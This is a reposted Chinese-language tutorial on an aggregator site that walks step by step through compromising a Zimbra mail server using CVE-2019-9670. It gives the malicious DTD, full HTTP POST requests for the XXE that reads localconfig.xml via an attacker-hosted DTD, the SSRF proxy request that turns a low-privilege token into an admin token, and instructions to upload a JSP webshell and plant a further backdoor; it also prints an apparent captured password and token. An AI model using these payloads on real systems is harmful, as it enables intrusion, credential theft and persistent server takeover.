经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
Zimbra
来源:cnblogs  作者:达芬奇密码  时间:2019/6/4 15:43:02  对本文有异议

第一步:利用XXE读取配置文件

 

这里利用了CVE-2019-9670漏洞来读取配置文件,你需要在自己的VPS服务器上放置一个dtd文件,并使该文件能够通过HTTP访问。为了演示,我在GitHub上创建了一个仓库,从GitHub上获取dtd文件。

上图中用红框圈起来的就是zimbra账号的密码,先记下来以后会用到。

dtd文件内容如下:

  1. 1 <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
  2. 2 <!ENTITY % start "<![CDATA[">
  3. 3 <!ENTITY % end "]]>">
  4. 4 <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

POST请求包如下:

复制代码
  1. POST /Autodiscover/Autodiscover.xml HTTP/1.1
  2. Host: mail.****.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: https://mail.****.com/zimbra/
  8. Content-Type: application/soap+xml
  9. Content-Length: 436
  10. Connection: close
  11. Cookie: ZM_TEST=true
  12. Upgrade-Insecure-Requests: 1
  13.  
  14. <!DOCTYPE Autodiscover [
  15. <!ENTITY % dtd SYSTEM "http://192.168.3.5/dtd">
  16. %dtd;
  17. %all;
  18. ]>
  19. <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
  20. <Request>
  21. <EMailAddress>aaaaa</EMailAddress>
  22. <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
  23. </Request>
  24. </Autodiscover>
复制代码

第二步:获取低权限token

从上图可以看到已经获取到token,但该token不是管理员权限的token,暂时记下来以后要用。

POST请求包如下:

复制代码
  1. POST /service/soap HTTP/1.1
  2. Host: mail.****.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: https://mail.****.com/zimbra/
  8. Content-Type: application/soap+xml
  9. Content-Length: 467
  10. Connection: close
  11. Cookie: ZM_TEST=true
  12. Upgrade-Insecure-Requests: 1
  13.  
  14. <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  15. <soap:Header>
  16. <context xmlns="urn:zimbra">
  17. <userAgent name="ZimbraWebClient" version="5.0.15_GA_2851"/>
  18. </context>
  19. </soap:Header>
  20. <soap:Body>
  21. <AuthRequest xmlns="urn:zimbraAccount">
  22. <account by="adminName">zimbra</account>
  23. <password>GzXaU76_s5</password>
  24. </AuthRequest>
  25. </soap:Body>
  26. </soap:Envelope>
复制代码

第三步、利用SSRF获取admin权限token

将上一步获取到了低权限token添加到cookie中,将xmlns="urn:zimbraAccount"修改为xmlns="urn:zimbraAdmin",在Host字段末尾添加“:7071”,URL中的target要使用https协议。然后发送请求即可获得admin权限的token。

POST请求包如下:

复制代码
  1. POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1
  2. Host: mail.****.com:7071
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: https://mail.****.com/zimbra/
  8. Content-Type: application/soap+xml
  9. Content-Length: 465
  10. Connection: close
  11. Cookie: ZM_ADMIN_AUTH_TOKEN=0_5221766f264e4dcb78b4f67be5f839b1ed668da3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343733303133353638333b747970653d363a7a696d6272613b7469643d393a3735353034333637323b
  12. Upgrade-Insecure-Requests: 1
  13.  
  14. <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  15. <soap:Header>
  16. <context xmlns="urn:zimbra">
  17. <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851"/>
  18. </context>
  19. </soap:Header>
  20. <soap:Body>
  21. <AuthRequest xmlns="urn:zimbraAdmin">
  22. <account by="adminName">zimbra</account>
  23. <password>GzXaU76_s5</password>
  24. </AuthRequest>
  25. </soap:Body>
  26. </soap:Envelope>
复制代码

第四步、上传webshell

将上一步获取的admin权限token添加到cookie中,然后上传webshell。

Webshell路径为/downloads/k4x6p.jsp,访问该webshell时需要在cookie中添加admin_toke。

你可以利用此webshell在其他无需cookie即可访问的目录里创建一个可用菜刀连接的小马。

我主要做了一些整理工作,感谢网上各位大佬写的分析文章。

参考链接:

https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

https://blog.csdn.net/fnmsd/article/details/88657083

http://www.cnvd.org.cn/flaw/show/CNVD-2019-07448

http://www.cnvd.org.cn/flaw/download?cd=20f07bbf4fc4769b606a52a0d14f79dd

原文链接:http://www.cnblogs.com/davinc1/p/10967115.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号